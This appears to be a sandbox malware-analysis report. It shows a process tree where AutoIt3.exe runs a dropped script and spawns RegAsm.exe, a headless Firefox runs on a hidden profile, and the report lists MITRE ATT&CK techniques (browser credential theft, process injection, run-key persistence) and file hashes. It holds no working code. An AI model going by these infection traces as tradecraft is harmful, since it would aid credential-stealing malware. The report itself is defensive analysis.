    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4540,i,5544041645433754943,4802204150686341434,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    PID:3940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,12566177042969646297,8544030602202836494,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:3756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4908,i,5517138629835838272,13884895621788690560,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:14
    3⤵
    PID:1560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4820,i,1636851943902408398,16536351669366244612,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:1
    3⤵
    PID:3120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4744,i,8893635135325064738,16905017242463159772,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:1508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5672,i,8388189410070691499,4120396796050630449,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:5452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5700,i,1274902195503447033,13721514747077467032,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:4824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5448,i,15903779286596322535,1692905803646181051,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:1
    3⤵
    PID:5864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4696,i,3520026584898892385,13259547316037786437,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:1
    3⤵
    PID:1444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5972,i,12466405986815974384,7704376329613271444,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:1
    3⤵
    PID:5140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6088,i,16997054237432828897,13574097256987252546,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:1
    3⤵
    PID:4200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5488,i,11208539046747213048,3365199005133179975,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:1
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6200,i,8009680867978567030,4304190420665626601,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
    3⤵
    PID:6000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6088,i,14569514188869710417,12010858022121763386,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:14
    3⤵
    PID:5940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5640,i,3042220050860678722,6300829867466378024,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:1
    3⤵
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4652,i,17718405428725459615,15560692309129626460,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:9
    3⤵
    PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7ff8946fc188,0x7ff8946fc194,0x7ff8946fc1a0
    3⤵
    PID:3912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1572,i,11280248784177866637,10462542484095869141,262144 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:2
    3⤵
    PID:4900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1808,i,13171757999150258448,10728937339127709915,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,8680573730247026673,1362063757809649559,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:13
    3⤵
    PID:5244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3532,i,1271960233171964319,16461606167810442908,2097152 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:5112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3536,i,16641564822246161398,14024201771890925201,2097152 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
    3⤵
    PID:948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4132,i,15556141109310708893,5042952312432260717,2097152 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:1
    3⤵
    PID:1620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4144,i,15174901354719892312,10288193876536021477,2097152 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:9
    3⤵
    PID:2532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3696,i,7920678843442701185,3713885885123204185,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:14
    3⤵
    PID:1484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,12352987738989741108,9300352305159907325,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
    3⤵
    PID:5524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5172,i,18253013734585072512,1439535351011783809,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
    3⤵
    PID:5752
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,2118096861039679302,16287712691171749249,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
    3⤵
    PID:1452
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,2118096861039679302,16287712691171749249,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
    3⤵
    PID:4596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,11564012947227072997,16318490277854013368,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
    3⤵
    PID:4688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,13372369468899097199,3376964239665904300,524288 --field-trial-handle=2228,i,10962859458207091553,9699673435800274891,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:14
    3⤵
    PID:252
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:2028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:3140
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2760 -prefsLen 24445 -prefMapHandle 2764 -prefMapSize 268500 -ipcHandle 2840 -initialChannelId {0bc5248b-e0bd-43a2-a83d-5e7de6219a1a} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:4784
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1800 -prefsLen 24658 -prefMapHandle 2060 -prefMapSize 268500 -jsInitHandle 1796 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1852 -initialChannelId {684cd22d-94bf-4761-8cde-036253e4258d} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:5876
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3728 -prefsLen 25542 -prefMapHandle 3732 -prefMapSize 268500 -ipcHandle 3792 -initialChannelId {cdc2ecb1-67f1-4ac8-b84a-d0981fc60ddd} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:3216
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4252 -prefsLen 25604 -prefMapHandle 4256 -prefMapSize 268500 -jsInitHandle 4260 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4268 -initialChannelId {1b2cde8f-f7c5-4977-86cb-dca984cfc368} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:2172
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4904 -prefsLen 36486 -prefMapHandle 4908 -prefMapSize 268500 -ipcHandle 4884 -initialChannelId {1e3cbd96-af35-441c-b1ea-cc81f9067869} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:3816
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5068 -prefsLen 34446 -prefMapHandle 5072 -prefMapSize 268500 -jsInitHandle 5076 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5084 -initialChannelId {79183ddf-5108-4859-be35-e774f0525346} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:2080
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5300 -prefsLen 34446 -prefMapHandle 5304 -prefMapSize 268500 -jsInitHandle 5308 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5316 -initialChannelId {431b0b4b-c351-4b67-80dc-39135a644787} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:3924
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5300 -prefsLen 34446 -prefMapHandle 5304 -prefMapSize 268500 -jsInitHandle 5308 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5296 -initialChannelId {b4c78d11-96df-4ee6-b193-367a70ddccd6} -parentPid 3140 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3140" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:6120

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3268

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1296

C:\Users\Admin\AppData\Roaming\0211787d726a\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\0211787d726a\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\0211787d726a\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1848
- C:\Users\Admin\AppData\Roaming\0211787d726a\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\0211787d726a\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:3764

C:\Users\Admin\AppData\Roaming\0211787d726a\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\0211787d726a\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\0211787d726a\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1104
- C:\Users\Admin\AppData\Roaming\0211787d726a\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\0211787d726a\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:5320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
